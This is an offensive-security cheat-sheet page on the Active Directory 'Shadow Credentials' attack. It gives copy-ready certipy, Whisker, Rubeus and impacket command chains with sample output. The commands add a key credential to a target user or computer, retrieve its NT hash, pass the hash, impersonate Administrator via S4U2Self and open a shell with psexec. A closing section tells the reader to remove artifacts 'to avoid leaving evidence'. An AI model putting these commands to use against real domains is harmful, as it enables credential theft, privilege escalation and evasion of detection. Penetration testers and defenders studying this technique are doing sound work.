Skip to content
HackIndex logo

HackIndex

Shadow Credentials

5 min read Jun 11, 2026

Shadow Credentials abuses the msDS-KeyCredentialLink attribute to add a certificate key credential to a target account. Once added, you authenticate via PKINIT and retrieve the account's NT hash through the PAC (UnPAC-the-Hash). The result is a full NT hash for the target account without ever knowing or changing their password.

Requires write access to msDS-KeyCredentialLink on the target — covered by GenericWrite, GenericAll, or an explicit Self/WriteProperty ACE on that attribute. BloodHound marks this as the AddKeyCredentialLink edge. Also requires ADCS to be deployed in the domain and PKINIT support on the DC (Windows Server 2016+).

Find targets with ACL Enumeration or look for AddKeyCredentialLink edges in BloodHound.

Shadow credential on user account

The auto subcommand adds the key credential, authenticates immediately via PKINIT, retrieves the NT hash, and cleans up in one pass.

┌──(kali㉿kali)-[~]
└─$ # All-in-one: add key credential, authenticate, retrieve NT hash, cleanup
┌──(kali㉿kali)-[~]
└─$ certipy shadow auto -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Split workflow — add key credential and save .pfx
┌──(kali㉿kali)-[~]
└─$ certipy shadow add -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate with saved certificate — outputs NT hash
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx $TARGET_USER.pfx -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash with the retrieved NT hash
┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u $TARGET_USER -H $NTHASH
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID: a1b2c3d4-...
[*] Adding Key Credential with device ID 'a1b2c3d4-...' to the Key Credentials for 'jsmith'
[*] Successfully added Key Credential with device ID 'a1b2c3d4-...' to the Key Credentials for 'jsmith'
[*] Authenticating as 'jsmith' with the certificate
[*] Got hash for '[email protected]': fc525c9683e8fe067095ba2ddc971889
[*] Saved certificate and private key to 'jsmith.pfx'
[*] Removing Key Credential with device ID 'a1b2c3d4-...' from the Key Credentials for 'jsmith'
PS C:\Users\Guest\Desktop> # List existing shadow credentials on target
PS C:\Users\Guest\Desktop> Whisker.exe list /target:$TARGET_USER
 
PS C:\Users\Guest\Desktop> # Add shadow credential — outputs base64 certificate and password
PS C:\Users\Guest\Desktop> Whisker.exe add /target:$TARGET_USER
 
PS C:\Users\Guest\Desktop> # Use output from Whisker directly in Rubeus
PS C:\Users\Guest\Desktop> # Whisker prints the full Rubeus command — copy and run it:
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$TARGET_USER /certificate:<base64cert> /password:<certpassword> /domain:$DOMAIN /dc:$TARGET_IP /ptt
 
PS C:\Users\Guest\Desktop> # UnPAC the hash — retrieve NT hash via certificate
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:$TARGET_USER /certificate:<base64cert> /password:<certpassword> /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /show /nowrap
[*] Action: Ask TGT
[*] Using PKINIT with etype rc4_hmac and subject: CN=$TARGET_USER
[*] Building AS-REQ with PKINIT padata...
[+] TGT request successful!

[*] Getting credentials using U2U
  CredentialInfo :
    CredentialCount : 1
     [0] NTLM              : fc525c9683e8fe067095ba2ddc971889

Shadow credential on computer account

Writing to msDS-KeyCredentialLink on a computer account is the second step of an RBCD chain: if you have GenericWrite on a computer, add a shadow credential to get its NT hash, then use that for S4U2Self impersonation without needing to create a fake machine account.

┌──(kali㉿kali)-[~]
└─$ # Computer accounts use $ suffix
┌──(kali㉿kali)-[~]
└─$ certipy shadow auto -u $USER@$DOMAIN -p $PASSWORD -account '$TARGET_COMPUTER$' -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Authenticate as computer account — outputs NT hash
┌──(kali㉿kali)-[~]
└─$ certipy auth -pfx '$TARGET_COMPUTER$.pfx' -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # S4U2Self with computer NT hash — impersonate domain admin to self
┌──(kali㉿kali)-[~]
└─$ impacket-getST -spn 'cifs/$TARGET_COMPUTER.$DOMAIN' -impersonate Administrator -dc-ip $TARGET_IP '$DOMAIN/$TARGET_COMPUTER$' -hashes :$COMPUTER_NTHASH
 
┌──(kali㉿kali)-[~]
└─$ # Use service ticket
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator@cifs_$TARGET_COMPUTER.$DOMAIN@$DOMAIN.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/Administrator@$TARGET_COMPUTER.$DOMAIN -k -no-pass
[*] Got hash for '[email protected]': aabbccddeeff00112233445566778899
PS C:\Users\Guest\Desktop> # Add shadow credential to computer
PS C:\Users\Guest\Desktop> Whisker.exe add /target:'$TARGET_COMPUTER$'
 
PS C:\Users\Guest\Desktop> # Get TGT for computer account
PS C:\Users\Guest\Desktop> .\Rubeus.exe asktgt /user:'$TARGET_COMPUTER$' /certificate:<base64cert> /password:<certpassword> /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /show /nowrap
 
PS C:\Users\Guest\Desktop> # S4U2Self — get service ticket as admin to this computer
PS C:\Users\Guest\Desktop> .\Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:'cifs/$TARGET_COMPUTER.$DOMAIN' /ticket:<base64tgt> /ptt

Cleanup

The auto subcommand cleans up automatically. If you used add manually, remove the key credential after collecting the hash to avoid leaving evidence.

┌──(kali㉿kali)-[~]
└─$ # List key credentials on target — find the DeviceID to remove
┌──(kali㉿kali)-[~]
└─$ certipy shadow list -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Remove specific key credential by DeviceID
┌──(kali㉿kali)-[~]
└─$ certipy shadow remove -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -device-id <DeviceID> -dc-ip $TARGET_IP
 
┌──(kali㉿kali)-[~]
└─$ # Remove all shadow credentials
┌──(kali㉿kali)-[~]
└─$ certipy shadow clear -u $USER@$DOMAIN -p $PASSWORD -account $TARGET_USER -dc-ip $TARGET_IP
PS C:\Users\Guest\Desktop> # List to get device ID
PS C:\Users\Guest\Desktop> Whisker.exe list /target:$TARGET_USER
 
PS C:\Users\Guest\Desktop> # Remove by device ID
PS C:\Users\Guest\Desktop> Whisker.exe remove /target:$TARGET_USER /deviceid:<DeviceID>

References